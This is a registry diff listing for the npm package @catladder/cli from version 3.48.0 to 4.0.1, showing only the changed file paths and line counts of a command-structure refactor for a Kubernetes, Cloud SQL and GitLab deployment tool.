@catladder/cli 3.48.0 → 4.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +23 -5
- package/dist/bundles/catenv/index.js +3 -3
- package/dist/bundles/cli/index.js +34 -30
- package/dist/cli/src/adapters/baseContext.d.ts +22 -0
- package/dist/cli/src/adapters/baseContext.js +40 -0
- package/dist/cli/src/adapters/baseContext.js.map +1 -0
- package/dist/cli/src/adapters/programmatic.d.ts +26 -0
- package/dist/cli/src/adapters/programmatic.js +67 -0
- package/dist/cli/src/adapters/programmatic.js.map +1 -0
- package/dist/cli/src/adapters/terminal.d.ts +28 -0
- package/dist/cli/src/adapters/terminal.js +205 -0
- package/dist/cli/src/adapters/terminal.js.map +1 -0
- package/dist/cli/src/apps/catenv/catenv.d.ts +1 -0
- package/dist/cli/src/apps/catenv/catenv.js +1 -1
- package/dist/cli/src/apps/catenv/catenv.js.map +1 -1
- package/dist/cli/src/apps/catenv/printVariables.js +0 -10
- package/dist/cli/src/apps/catenv/printVariables.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/commandConfigSecrets.d.ts +2 -5
- package/dist/cli/src/apps/cli/commands/project/commandConfigSecrets.js +6 -21
- package/dist/cli/src/apps/cli/commands/project/commandConfigSecrets.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/setup/index.d.ts +2 -2
- package/dist/cli/src/apps/cli/commands/project/setup/index.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/setup/logSection.d.ts +2 -2
- package/dist/cli/src/apps/cli/commands/project/setup/logSection.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/setup/setupAccessTokens.d.ts +2 -2
- package/dist/cli/src/apps/cli/commands/project/setup/setupAccessTokens.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/setup/setupAgents.d.ts +2 -2
- package/dist/cli/src/apps/cli/commands/project/setup/setupAgents.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/setup/setupCloudRun.d.ts +2 -2
- package/dist/cli/src/apps/cli/commands/project/setup/setupCloudRun.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/setup/setupContext.d.ts +2 -2
- package/dist/cli/src/apps/cli/commands/project/setup/setupContext.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/setup/setupKubernetes.d.ts +2 -2
- package/dist/cli/src/apps/cli/commands/project/setup/setupKubernetes.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/setup/setupTopic.d.ts +2 -2
- package/dist/cli/src/apps/cli/commands/project/setup/setupTopic.js.map +1 -1
- package/dist/cli/src/apps/cli/commands/project/utils/ensureCluster.d.ts +9 -1
- package/dist/cli/src/apps/cli/commands/project/utils/ensureCluster.js +15 -14
- package/dist/cli/src/apps/cli/commands/project/utils/ensureCluster.js.map +1 -1
- package/dist/cli/src/apps/cli/utils/getGoogleAuthUserNumber.d.ts +2 -1
- package/dist/cli/src/apps/cli/utils/getGoogleAuthUserNumber.js +4 -6
- package/dist/cli/src/apps/cli/utils/getGoogleAuthUserNumber.js.map +1 -1
- package/dist/cli/src/catenv.js +14 -16
- package/dist/cli/src/catenv.js.map +1 -1
- package/dist/cli/src/cli.js +186 -2
- package/dist/cli/src/cli.js.map +1 -1
- package/dist/cli/src/commands/cloudSQL/commandRestoreDb.d.ts +46 -0
- package/dist/cli/src/commands/cloudSQL/commandRestoreDb.js +111 -0
- package/dist/cli/src/commands/cloudSQL/commandRestoreDb.js.map +1 -0
- package/dist/cli/src/commands/fun/commandDadjoke.d.ts +1 -0
- package/dist/cli/src/commands/fun/commandDadjoke.js +30 -0
- package/dist/cli/src/commands/fun/commandDadjoke.js.map +1 -0
- package/dist/cli/src/commands/fun/commandStarwars.d.ts +1 -0
- package/dist/cli/src/commands/fun/commandStarwars.js +19 -0
- package/dist/cli/src/commands/fun/commandStarwars.js.map +1 -0
- package/dist/cli/src/commands/general/commandKubeCurrentContext.d.ts +1 -0
- package/dist/cli/src/commands/general/commandKubeCurrentContext.js +17 -0
- package/dist/cli/src/commands/general/commandKubeCurrentContext.js.map +1 -0
- package/dist/cli/src/commands/general/commandKubeGetShell.d.ts +12 -0
- package/dist/cli/src/commands/general/commandKubeGetShell.js +36 -0
- package/dist/cli/src/commands/general/commandKubeGetShell.js.map +1 -0
- package/dist/cli/src/commands/general/commandKubeListNamespaces.d.ts +1 -0
- package/dist/cli/src/commands/general/commandKubeListNamespaces.js +20 -0
- package/dist/cli/src/commands/general/commandKubeListNamespaces.js.map +1 -0
- package/dist/cli/src/commands/general/commandKubeListPods.d.ts +7 -0
- package/dist/cli/src/commands/general/commandKubeListPods.js +26 -0
- package/dist/cli/src/commands/general/commandKubeListPods.js.map +1 -0
- package/dist/cli/src/commands/general/commandKubeListSecrets.d.ts +7 -0
- package/dist/cli/src/commands/general/commandKubeListSecrets.js +26 -0
- package/dist/cli/src/commands/general/commandKubeListSecrets.js.map +1 -0
- package/dist/cli/src/commands/general/commandKubePortForward.d.ts +20 -0
- package/dist/cli/src/commands/general/commandKubePortForward.js +46 -0
- package/dist/cli/src/commands/general/commandKubePortForward.js.map +1 -0
- package/dist/cli/src/commands/general/commandKubeStopPortforward.d.ts +7 -0
- package/dist/cli/src/commands/general/commandKubeStopPortforward.js +24 -0
- package/dist/cli/src/commands/general/commandKubeStopPortforward.js.map +1 -0
- package/dist/cli/src/commands/index.d.ts +37 -0
- package/dist/cli/src/commands/index.js +283 -0
- package/dist/cli/src/commands/index.js.map +1 -0
- package/dist/cli/src/commands/mongodb/commandMongoDestroyMember.d.ts +16 -0
- package/dist/cli/src/commands/mongodb/commandMongoDestroyMember.js +89 -0
- package/dist/cli/src/commands/mongodb/commandMongoDestroyMember.js.map +1 -0
- package/dist/cli/src/commands/mongodb/commandMongoGetShell.d.ts +16 -0
- package/dist/cli/src/commands/mongodb/commandMongoGetShell.js +36 -0
- package/dist/cli/src/commands/mongodb/commandMongoGetShell.js.map +1 -0
- package/dist/cli/src/commands/mongodb/commandMongoPortForward.d.ts +21 -0
- package/dist/cli/src/commands/mongodb/commandMongoPortForward.js +65 -0
- package/dist/cli/src/commands/mongodb/commandMongoPortForward.js.map +1 -0
- package/dist/cli/src/commands/project/commandCloudSqlProxy.d.ts +13 -0
- package/dist/cli/src/commands/project/commandCloudSqlProxy.js +127 -0
- package/dist/cli/src/commands/project/commandCloudSqlProxy.js.map +1 -0
- package/dist/cli/src/commands/project/commandConfigSecrets.d.ts +9 -0
- package/dist/cli/src/commands/project/commandConfigSecrets.js +36 -0
- package/dist/cli/src/commands/project/commandConfigSecrets.js.map +1 -0
- package/dist/cli/src/commands/project/commandDeletePods.d.ts +13 -0
- package/dist/cli/src/commands/project/commandDeletePods.js +49 -0
- package/dist/cli/src/commands/project/commandDeletePods.js.map +1 -0
- package/dist/cli/src/commands/project/commandDeleteProject.d.ts +8 -0
- package/dist/cli/src/commands/project/commandDeleteProject.js +41 -0
- package/dist/cli/src/commands/project/commandDeleteProject.js.map +1 -0
- package/dist/cli/src/commands/project/commandEnvVars.d.ts +8 -0
- package/dist/cli/src/commands/project/commandEnvVars.js +32 -0
- package/dist/cli/src/commands/project/commandEnvVars.js.map +1 -0
- package/dist/cli/src/commands/project/commandGetMyTotalWorktime.d.ts +1 -0
- package/dist/cli/src/commands/project/commandGetMyTotalWorktime.js +19 -0
- package/dist/cli/src/commands/project/commandGetMyTotalWorktime.js.map +1 -0
- package/dist/cli/src/commands/project/commandGetShell.d.ts +13 -0
- package/dist/cli/src/commands/project/commandGetShell.js +41 -0
- package/dist/cli/src/commands/project/commandGetShell.js.map +1 -0
- package/dist/cli/src/commands/project/commandGitlabCi.d.ts +14 -0
- package/dist/cli/src/commands/project/commandGitlabCi.js +109 -0
- package/dist/cli/src/commands/project/commandGitlabCi.js.map +1 -0
- package/dist/cli/src/commands/project/commandListPods.d.ts +8 -0
- package/dist/cli/src/commands/project/commandListPods.js +31 -0
- package/dist/cli/src/commands/project/commandListPods.js.map +1 -0
- package/dist/cli/src/commands/project/commandNamespace.d.ts +8 -0
- package/dist/cli/src/commands/project/commandNamespace.js +26 -0
- package/dist/cli/src/commands/project/commandNamespace.js.map +1 -0
- package/dist/cli/src/commands/project/commandOpenEnv.d.ts +8 -0
- package/dist/cli/src/commands/project/commandOpenEnv.js +40 -0
- package/dist/cli/src/commands/project/commandOpenEnv.js.map +1 -0
- package/dist/cli/src/commands/project/commandOpenGit.d.ts +1 -0
- package/dist/cli/src/commands/project/commandOpenGit.js +17 -0
- package/dist/cli/src/commands/project/commandOpenGit.js.map +1 -0
- package/dist/cli/src/commands/project/commandOpenLogs.d.ts +8 -0
- package/dist/cli/src/commands/project/commandOpenLogs.js +32 -0
- package/dist/cli/src/commands/project/commandOpenLogs.js.map +1 -0
- package/dist/cli/src/commands/project/commandPauseProject.d.ts +8 -0
- package/dist/cli/src/commands/project/commandPauseProject.js +41 -0
- package/dist/cli/src/commands/project/commandPauseProject.js.map +1 -0
- package/dist/cli/src/commands/project/commandPortForward.d.ts +25 -0
- package/dist/cli/src/commands/project/commandPortForward.js +95 -0
- package/dist/cli/src/commands/project/commandPortForward.js.map +1 -0
- package/dist/cli/src/commands/project/commandProjectRestoreDb.d.ts +19 -0
- package/dist/cli/src/commands/project/commandProjectRestoreDb.js +159 -0
- package/dist/cli/src/commands/project/commandProjectRestoreDb.js.map +1 -0
- package/dist/cli/src/commands/project/commandRenewToken.d.ts +1 -0
- package/dist/cli/src/commands/project/commandRenewToken.js +17 -0
- package/dist/cli/src/commands/project/commandRenewToken.js.map +1 -0
- package/dist/cli/src/commands/project/commandSecretsClearBackups.d.ts +7 -0
- package/dist/cli/src/commands/project/commandSecretsClearBackups.js +24 -0
- package/dist/cli/src/commands/project/commandSecretsClearBackups.js.map +1 -0
- package/dist/cli/src/commands/project/commandSecurityEvaluate.d.ts +1 -0
- package/dist/cli/src/commands/project/commandSecurityEvaluate.js +26 -0
- package/dist/cli/src/commands/project/commandSecurityEvaluate.js.map +1 -0
- package/dist/cli/src/commands/project/commandSetup.d.ts +8 -0
- package/dist/cli/src/commands/project/commandSetup.js +25 -0
- package/dist/cli/src/commands/project/commandSetup.js.map +1 -0
- package/dist/cli/src/commands/project/commandTriggerCronjob.d.ts +25 -0
- package/dist/cli/src/commands/project/commandTriggerCronjob.js +95 -0
- package/dist/cli/src/commands/project/commandTriggerCronjob.js.map +1 -0
- package/dist/cli/src/commands/security/commandSecurityAuditCiJob.d.ts +27 -0
- package/dist/cli/src/commands/security/commandSecurityAuditCiJob.js +83 -0
- package/dist/cli/src/commands/security/commandSecurityAuditCiJob.js.map +1 -0
- package/dist/cli/src/commands/security/commandSecurityAuditCreate.d.ts +22 -0
- package/dist/cli/src/commands/security/commandSecurityAuditCreate.js +60 -0
- package/dist/cli/src/commands/security/commandSecurityAuditCreate.js.map +1 -0
- package/dist/cli/src/commands/security/commandSecurityAuditEvaluate.d.ts +7 -0
- package/dist/cli/src/commands/security/commandSecurityAuditEvaluate.js +35 -0
- package/dist/cli/src/commands/security/commandSecurityAuditEvaluate.js.map +1 -0
- package/dist/cli/src/completion.d.ts +24 -0
- package/dist/cli/src/completion.js +240 -0
- package/dist/cli/src/completion.js.map +1 -0
- package/dist/cli/src/config/getProjectConfig.d.ts +4 -4
- package/dist/cli/src/config/getProjectConfig.js +8 -8
- package/dist/cli/src/config/getProjectConfig.js.map +1 -1
- package/dist/cli/src/core/defineCommand.d.ts +27 -0
- package/dist/cli/src/core/defineCommand.js +35 -0
- package/dist/cli/src/core/defineCommand.js.map +1 -0
- package/dist/cli/src/core/index.d.ts +5 -0
- package/dist/cli/src/core/index.js +52 -0
- package/dist/cli/src/core/index.js.map +1 -0
- package/dist/cli/src/core/registry.d.ts +5 -0
- package/dist/cli/src/core/registry.js +26 -0
- package/dist/cli/src/core/registry.js.map +1 -0
- package/dist/cli/src/core/runner.d.ts +19 -0
- package/dist/cli/src/core/runner.js +29 -0
- package/dist/cli/src/core/runner.js.map +1 -0
- package/dist/cli/src/core/types.d.ts +105 -0
- package/dist/cli/src/core/types.js +17 -0
- package/dist/cli/src/core/types.js.map +1 -0
- package/dist/cli/src/gcloud/cloudRun/openCloudRunDashboards.d.ts +2 -2
- package/dist/cli/src/gcloud/cloudRun/openCloudRunDashboards.js.map +1 -1
- package/dist/cli/src/gcloud/openDashboard.d.ts +2 -2
- package/dist/cli/src/gcloud/openDashboard.js +1 -1
- package/dist/cli/src/gcloud/openDashboard.js.map +1 -1
- package/dist/cli/src/gcloud/serviceAccounts.d.ts +2 -2
- package/dist/cli/src/gcloud/serviceAccounts.js.map +1 -1
- package/dist/cli/src/kubernetes/openKubernetesDashboards.d.ts +3 -3
- package/dist/cli/src/kubernetes/openKubernetesDashboards.js.map +1 -1
- package/dist/cli/src/security/auditDocument.js.map +1 -0
- package/dist/cli/src/security/createSecurityAuditMergeRequest.js.map +1 -0
- package/dist/cli/src/security/evaluateSecurityAudit.js.map +1 -0
- package/dist/cli/src/utils/gitlab.d.ts +9 -9
- package/dist/cli/src/utils/gitlab.js +45 -54
- package/dist/cli/src/utils/gitlab.js.map +1 -1
- package/dist/cli/src/utils/log.d.ts +2 -2
- package/dist/pipeline/src/build/index.d.ts +2 -2
- package/dist/pipeline/src/build/index.js.map +1 -1
- package/dist/pipeline/src/build/node/buildJob.d.ts +3 -3
- package/dist/pipeline/src/build/node/buildJob.js +13 -12
- package/dist/pipeline/src/build/node/buildJob.js.map +1 -1
- package/dist/pipeline/src/build/node/cache.d.ts +3 -3
- package/dist/pipeline/src/build/node/cache.js +12 -9
- package/dist/pipeline/src/build/node/cache.js.map +1 -1
- package/dist/pipeline/src/build/node/index.d.ts +3 -3
- package/dist/pipeline/src/build/node/index.js +8 -6
- package/dist/pipeline/src/build/node/index.js.map +1 -1
- package/dist/pipeline/src/build/node/meteor.d.ts +1 -1
- package/dist/pipeline/src/build/node/meteor.js +8 -7
- package/dist/pipeline/src/build/node/meteor.js.map +1 -1
- package/dist/pipeline/src/build/node/testJob.d.ts +1 -1
- package/dist/pipeline/src/build/node/testJob.js +5 -5
- package/dist/pipeline/src/build/node/testJob.js.map +1 -1
- package/dist/pipeline/src/build/node/yarn.d.ts +2 -2
- package/dist/pipeline/src/build/node/yarn.js +10 -8
- package/dist/pipeline/src/build/node/yarn.js.map +1 -1
- package/dist/pipeline/src/build/types.d.ts +1 -1
- package/dist/pipeline/src/constants.js +1 -1
- package/dist/pipeline/src/context/createComponentContext.js +3 -3
- package/dist/pipeline/src/context/createComponentContext.js.map +1 -1
- package/dist/pipeline/src/context/createWorkspaceContext.js +1 -1
- package/dist/pipeline/src/context/createWorkspaceContext.js.map +1 -1
- package/dist/pipeline/src/context/getEnvironmentVariables.d.ts +1 -1
- package/dist/pipeline/src/deploy/cloudRun/createJobs/getCloudRunDeployScripts.js.map +1 -1
- package/dist/pipeline/src/deploy/custom/deployJob.d.ts +1 -1
- package/dist/pipeline/src/deploy/custom/deployJob.js +2 -2
- package/dist/pipeline/src/deploy/custom/deployJob.js.map +1 -1
- package/dist/pipeline/src/deploy/index.d.ts +1 -1
- package/dist/pipeline/src/deploy/types/index.d.ts +2 -2
- package/dist/pipeline/src/pipeline/createAllJobs.js +4 -4
- package/dist/pipeline/src/pipeline/createAllJobs.js.map +1 -1
- package/dist/pipeline/src/pipeline/createJobsForComponent.d.ts +1 -1
- package/dist/pipeline/src/pipeline/createJobsForComponent.js +2 -3
- package/dist/pipeline/src/pipeline/createJobsForComponent.js.map +1 -1
- package/dist/pipeline/src/pipeline/createJobsForWorkspace.d.ts +1 -1
- package/dist/pipeline/src/pipeline/createJobsForWorkspace.js +2 -2
- package/dist/pipeline/src/pipeline/createJobsForWorkspace.js.map +1 -1
- package/dist/pipeline/src/types/config.d.ts +3 -3
- package/dist/pipeline/src/types/context.d.ts +3 -3
- package/dist/tsconfig.tsbuildinfo +1 -1
- package/package.json +3 -4
- package/scripts/bundle +0 -2
- package/src/adapters/baseContext.ts +68 -0
- package/src/adapters/programmatic.ts +88 -0
- package/src/adapters/terminal.ts +207 -0
- package/src/apps/catenv/catenv.ts +4 -2
- package/src/apps/catenv/printVariables.ts +0 -8
- package/src/apps/cli/commands/project/commandConfigSecrets.ts +8 -33
- package/src/apps/cli/commands/project/setup/index.ts +2 -2
- package/src/apps/cli/commands/project/setup/logSection.ts +2 -2
- package/src/apps/cli/commands/project/setup/setupAccessTokens.ts +2 -2
- package/src/apps/cli/commands/project/setup/setupAgents.ts +11 -11
- package/src/apps/cli/commands/project/setup/setupCloudRun.ts +2 -2
- package/src/apps/cli/commands/project/setup/setupContext.ts +2 -5
- package/src/apps/cli/commands/project/setup/setupKubernetes.ts +2 -2
- package/src/apps/cli/commands/project/setup/setupTopic.ts +2 -2
- package/src/apps/cli/commands/project/utils/ensureCluster.ts +19 -12
- package/src/apps/cli/utils/getGoogleAuthUserNumber.ts +5 -4
- package/src/catenv.ts +24 -18
- package/src/cli.ts +213 -2
- package/src/commands/cloudSQL/commandRestoreDb.ts +105 -0
- package/src/commands/fun/commandDadjoke.ts +18 -0
- package/src/commands/fun/commandStarwars.ts +14 -0
- package/src/commands/general/commandKubeCurrentContext.ts +12 -0
- package/src/commands/general/commandKubeGetShell.ts +32 -0
- package/src/commands/general/commandKubeListNamespaces.ts +15 -0
- package/src/commands/general/commandKubeListPods.ts +21 -0
- package/src/commands/general/commandKubeListSecrets.ts +21 -0
- package/src/commands/general/commandKubePortForward.ts +35 -0
- package/src/commands/general/commandKubeStopPortforward.ts +15 -0
- package/src/commands/index.ts +51 -0
- package/src/commands/mongodb/commandMongoDestroyMember.ts +133 -0
- package/src/commands/mongodb/commandMongoGetShell.ts +36 -0
- package/src/commands/mongodb/commandMongoPortForward.ts +56 -0
- package/src/commands/project/commandCloudSqlProxy.ts +189 -0
- package/src/commands/project/commandConfigSecrets.ts +31 -0
- package/src/commands/project/commandDeletePods.ts +53 -0
- package/src/commands/project/commandDeleteProject.ts +33 -0
- package/src/commands/project/commandEnvVars.ts +24 -0
- package/src/commands/project/commandGetMyTotalWorktime.ts +14 -0
- package/src/commands/project/commandGetShell.ts +39 -0
- package/src/commands/project/commandGitlabCi.ts +122 -0
- package/src/commands/project/commandListPods.ts +30 -0
- package/src/commands/project/commandNamespace.ts +21 -0
- package/src/commands/project/commandOpenEnv.ts +27 -0
- package/src/commands/project/commandOpenGit.ts +12 -0
- package/src/commands/project/commandOpenLogs.ts +27 -0
- package/src/commands/project/commandPauseProject.ts +33 -0
- package/src/commands/project/commandPortForward.ts +74 -0
- package/src/commands/project/commandProjectRestoreDb.ts +201 -0
- package/src/commands/project/commandRenewToken.ts +12 -0
- package/src/commands/project/commandSecretsClearBackups.ts +19 -0
- package/src/commands/project/commandSecurityEvaluate.ts +22 -0
- package/src/commands/project/commandSetup.ts +21 -0
- package/src/commands/project/commandTriggerCronjob.ts +99 -0
- package/src/commands/security/commandSecurityAuditCiJob.ts +91 -0
- package/src/commands/security/commandSecurityAuditCreate.ts +58 -0
- package/src/commands/security/commandSecurityAuditEvaluate.ts +30 -0
- package/src/completion.ts +272 -0
- package/src/config/getProjectConfig.ts +9 -9
- package/src/core/defineCommand.ts +32 -0
- package/src/core/index.ts +23 -0
- package/src/core/registry.ts +22 -0
- package/src/core/runner.ts +31 -0
- package/src/core/types.ts +142 -0
- package/src/gcloud/cloudRun/openCloudRunDashboards.ts +2 -2
- package/src/gcloud/openDashboard.ts +3 -3
- package/src/gcloud/serviceAccounts.ts +2 -2
- package/src/kubernetes/openKubernetesDashboards.ts +3 -3
- package/src/utils/gitlab.ts +46 -58
- package/src/utils/log.ts +2 -2
- package/bin/catci +0 -3
- package/bin/catci-dev +0 -3
- package/dist/bundles/catci/index.js +0 -41
- package/dist/cli/src/apps/catci/catci.d.ts +0 -1
- package/dist/cli/src/apps/catci/catci.js +0 -33
- package/dist/cli/src/apps/catci/catci.js.map +0 -1
- package/dist/cli/src/apps/catci/commands/security/auditDocument.js.map +0 -1
- package/dist/cli/src/apps/catci/commands/security/commands.d.ts +0 -2
- package/dist/cli/src/apps/catci/commands/security/commands.js +0 -118
- package/dist/cli/src/apps/catci/commands/security/commands.js.map +0 -1
- package/dist/cli/src/apps/catci/commands/security/createSecurityAuditMergeRequest.js.map +0 -1
- package/dist/cli/src/apps/catci/commands/security/evaluateSecurityAudit.js.map +0 -1
- package/dist/cli/src/apps/cli/cli.d.ts +0 -2
- package/dist/cli/src/apps/cli/cli.js +0 -38
- package/dist/cli/src/apps/cli/cli.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/cloudSQL/commandRestoreDb.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/cloudSQL/commandRestoreDb.js +0 -130
- package/dist/cli/src/apps/cli/commands/cloudSQL/commandRestoreDb.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/cloudSQL/index.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/cloudSQL/index.js +0 -14
- package/dist/cli/src/apps/cli/commands/cloudSQL/index.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/general/index.d.ts +0 -4
- package/dist/cli/src/apps/cli/commands/general/index.js +0 -83
- package/dist/cli/src/apps/cli/commands/general/index.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/general/namespaceAutoCompletion.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/general/namespaceAutoCompletion.js +0 -13
- package/dist/cli/src/apps/cli/commands/general/namespaceAutoCompletion.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/general/portForward.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/general/portForward.js +0 -47
- package/dist/cli/src/apps/cli/commands/general/portForward.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/mongodb/index.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/mongodb/index.js +0 -18
- package/dist/cli/src/apps/cli/commands/mongodb/index.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/mongodb/projectMongoDestroyMember.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/mongodb/projectMongoDestroyMember.js +0 -96
- package/dist/cli/src/apps/cli/commands/mongodb/projectMongoDestroyMember.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/mongodb/projectMongoGetShell.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/mongodb/projectMongoGetShell.js +0 -38
- package/dist/cli/src/apps/cli/commands/mongodb/projectMongoGetShell.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/mongodb/projectMongoPortForward.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/mongodb/projectMongoPortForward.js +0 -64
- package/dist/cli/src/apps/cli/commands/mongodb/projectMongoPortForward.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/cloudSql/commandProjectRestoreDb.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/cloudSql/commandProjectRestoreDb.js +0 -152
- package/dist/cli/src/apps/cli/commands/project/cloudSql/commandProjectRestoreDb.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandCloudSqlProxy.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandCloudSqlProxy.js +0 -120
- package/dist/cli/src/apps/cli/commands/project/commandCloudSqlProxy.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandDeletePods.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandDeletePods.js +0 -54
- package/dist/cli/src/apps/cli/commands/project/commandDeletePods.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandDeleteProject.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandDeleteProject.js +0 -33
- package/dist/cli/src/apps/cli/commands/project/commandDeleteProject.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandEnvVars.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandEnvVars.js +0 -17
- package/dist/cli/src/apps/cli/commands/project/commandEnvVars.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandGetMyTotalWorktime.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandGetMyTotalWorktime.js +0 -11
- package/dist/cli/src/apps/cli/commands/project/commandGetMyTotalWorktime.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandGetShell.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandGetShell.js +0 -37
- package/dist/cli/src/apps/cli/commands/project/commandGetShell.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandGitlabCi.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandGitlabCi.js +0 -88
- package/dist/cli/src/apps/cli/commands/project/commandGitlabCi.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandListPods.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandListPods.js +0 -22
- package/dist/cli/src/apps/cli/commands/project/commandListPods.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandNamespace.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandNamespace.js +0 -12
- package/dist/cli/src/apps/cli/commands/project/commandNamespace.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandOpenEnv.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandOpenEnv.js +0 -26
- package/dist/cli/src/apps/cli/commands/project/commandOpenEnv.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandOpenGit.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandOpenGit.js +0 -9
- package/dist/cli/src/apps/cli/commands/project/commandOpenGit.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandOpenLogs.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandOpenLogs.js +0 -18
- package/dist/cli/src/apps/cli/commands/project/commandOpenLogs.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandPauseProject.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandPauseProject.js +0 -33
- package/dist/cli/src/apps/cli/commands/project/commandPauseProject.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandPortForward.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandPortForward.js +0 -97
- package/dist/cli/src/apps/cli/commands/project/commandPortForward.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandRenewToken.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandRenewToken.js +0 -9
- package/dist/cli/src/apps/cli/commands/project/commandRenewToken.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandSecretsClearBackups.d.ts +0 -5
- package/dist/cli/src/apps/cli/commands/project/commandSecretsClearBackups.js +0 -25
- package/dist/cli/src/apps/cli/commands/project/commandSecretsClearBackups.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandSecurityEvaluate.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandSecurityEvaluate.js +0 -20
- package/dist/cli/src/apps/cli/commands/project/commandSecurityEvaluate.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandSetup.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandSetup.js +0 -12
- package/dist/cli/src/apps/cli/commands/project/commandSetup.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/commandTriggerCronjob.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/commandTriggerCronjob.js +0 -63
- package/dist/cli/src/apps/cli/commands/project/commandTriggerCronjob.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/index.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/project/index.js +0 -54
- package/dist/cli/src/apps/cli/commands/project/index.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/project/utils/showProjectBanner.d.ts +0 -2
- package/dist/cli/src/apps/cli/commands/project/utils/showProjectBanner.js +0 -16
- package/dist/cli/src/apps/cli/commands/project/utils/showProjectBanner.js.map +0 -1
- package/dist/cli/src/apps/cli/commands/theStuffThatReallyMatters/index.d.ts +0 -3
- package/dist/cli/src/apps/cli/commands/theStuffThatReallyMatters/index.js +0 -37
- package/dist/cli/src/apps/cli/commands/theStuffThatReallyMatters/index.js.map +0 -1
- package/dist/cli/src/apps/cli/verify/index.d.ts +0 -2
- package/dist/cli/src/apps/cli/verify/index.js +0 -17
- package/dist/cli/src/apps/cli/verify/index.js.map +0 -1
- package/dist/cli/src/catci.d.ts +0 -1
- package/dist/cli/src/catci.js +0 -7
- package/dist/cli/src/catci.js.map +0 -1
- package/src/apps/catci/catci.ts +0 -26
- package/src/apps/catci/commands/security/commands.ts +0 -161
- package/src/apps/cli/cli.ts +0 -43
- package/src/apps/cli/commands/cloudSQL/commandRestoreDb.ts +0 -136
- package/src/apps/cli/commands/cloudSQL/index.ts +0 -7
- package/src/apps/cli/commands/general/index.ts +0 -90
- package/src/apps/cli/commands/general/namespaceAutoCompletion.ts +0 -7
- package/src/apps/cli/commands/general/portForward.ts +0 -48
- package/src/apps/cli/commands/mongodb/index.ts +0 -10
- package/src/apps/cli/commands/mongodb/projectMongoDestroyMember.ts +0 -132
- package/src/apps/cli/commands/mongodb/projectMongoGetShell.ts +0 -42
- package/src/apps/cli/commands/mongodb/projectMongoPortForward.ts +0 -64
- package/src/apps/cli/commands/project/cloudSql/commandProjectRestoreDb.ts +0 -206
- package/src/apps/cli/commands/project/commandCloudSqlProxy.ts +0 -194
- package/src/apps/cli/commands/project/commandDeletePods.ts +0 -48
- package/src/apps/cli/commands/project/commandDeleteProject.ts +0 -33
- package/src/apps/cli/commands/project/commandEnvVars.ts +0 -18
- package/src/apps/cli/commands/project/commandGetMyTotalWorktime.ts +0 -14
